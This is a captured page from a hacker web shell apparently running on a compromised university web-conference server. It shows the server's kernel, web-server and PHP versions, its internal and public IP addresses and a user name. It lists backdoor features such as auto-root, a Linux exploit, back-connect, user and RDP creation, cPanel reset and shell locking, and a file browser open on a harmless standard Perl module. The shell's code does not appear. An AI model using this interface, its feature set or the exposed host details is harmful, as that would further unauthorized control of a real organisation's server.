Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.135.211.105
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl-base /
[ HOME SHELL ]
Name
Size
Permission
Action
Carp
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
Hash
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AutoLoader.pm
5.36
KB
-rw-r--r--
Carp.pm
24.79
KB
-rw-r--r--
Config.pm
3.2
KB
-rw-r--r--
Config_git.pl
409
B
-rw-r--r--
Config_heavy.pl
52.96
KB
-rw-r--r--
Cwd.pm
17.24
KB
-rw-r--r--
DynaLoader.pm
10.18
KB
-rw-r--r--
Errno.pm
4.82
KB
-rw-r--r--
Exporter.pm
2.31
KB
-rw-r--r--
Fcntl.pm
2.11
KB
-rw-r--r--
FileHandle.pm
2.06
KB
-rw-r--r--
IO.pm
469
B
-rw-r--r--
POSIX.pm
19.87
KB
-rw-r--r--
SelectSaver.pm
344
B
-rw-r--r--
Socket.pm
13.54
KB
-rw-r--r--
Symbol.pm
2.05
KB
-rw-r--r--
XSLoader.pm
3.87
KB
-rw-r--r--
attributes.pm
3
KB
-rw-r--r--
base.pm
8.7
KB
-rw-r--r--
bytes.pm
447
B
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
constant.pm
5.6
KB
-rw-r--r--
feature.pm
4.7
KB
-rw-r--r--
fields.pm
4.89
KB
-rw-r--r--
integer.pm
172
B
-rw-r--r--
lib.pm
2.23
KB
-rw-r--r--
locale.pm
3.34
KB
-rw-r--r--
overload.pm
4.34
KB
-rw-r--r--
overloading.pm
964
B
-rw-r--r--
parent.pm
460
B
-rw-r--r--
re.pm
8.5
KB
-rw-r--r--
strict.pm
1.57
KB
-rw-r--r--
utf8.pm
313
B
-rw-r--r--
utf8_heavy.pl
26.66
KB
-rw-r--r--
vars.pm
1.12
KB
-rw-r--r--
warnings.pm
25.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Symbol.pm
package Symbol; BEGIN { require 5.005; } require Exporter; @ISA = qw(Exporter); @EXPORT = qw(gensym ungensym qualify qualify_to_ref); @EXPORT_OK = qw(delete_package geniosym); $VERSION = '1.08'; my $genpkg = "Symbol::"; my $genseq = 0; my %global = map {$_ => 1} qw(ARGV ARGVOUT ENV INC SIG STDERR STDIN STDOUT); # # Note that we never _copy_ the glob; we just make a ref to it. # If we did copy it, then SVf_FAKE would be set on the copy, and # glob-specific behaviors (e.g. C<*$ref = \&func>) wouldn't work. # sub gensym () { my $name = "GEN" . $genseq++; my $ref = \*{$genpkg . $name}; delete $$genpkg{$name}; $ref; } sub geniosym () { my $sym = gensym(); # force the IO slot to be filled select(select $sym); *$sym{IO}; } sub ungensym ($) {} sub qualify ($;$) { my ($name) = @_; if (!ref($name) && index($name, '::') == -1 && index($name, "'") == -1) { my $pkg; # Global names: special character, "^xyz", or other. if ($name =~ /^(([^a-z])|(\^[a-z_]+))\z/i || $global{$name}) { # RGS 2001-11-05 : translate leading ^X to control-char $name =~ s/^\^([a-z_])/'qq(\c'.$1.')'/eei; $pkg = "main"; } else { $pkg = (@_ > 1) ? $_[1] : caller; } $name = $pkg . "::" . $name; } $name; } sub qualify_to_ref ($;$) { return \*{ qualify $_[0], @_ > 1 ? $_[1] : caller }; } # # of Safe.pm lineage # sub delete_package ($) { my $pkg = shift; # expand to full symbol table name if needed unless ($pkg =~ /^main::.*::$/) { $pkg = "main$pkg" if $pkg =~ /^::/; $pkg = "main::$pkg" unless $pkg =~ /^main::/; $pkg .= '::' unless $pkg =~ /::$/; } my($stem, $leaf) = $pkg =~ m/(.*::)(\w+::)$/; my $stem_symtab = *{$stem}{HASH}; return unless defined $stem_symtab and exists $stem_symtab->{$leaf}; # free all the symbols in the package my $leaf_symtab = *{$stem_symtab->{$leaf}}{HASH}; foreach my $name (keys %$leaf_symtab) { undef *{$pkg . $name}; } # delete the symbol table %$leaf_symtab = (); delete $stem_symtab->{$leaf}; } 1;
Close
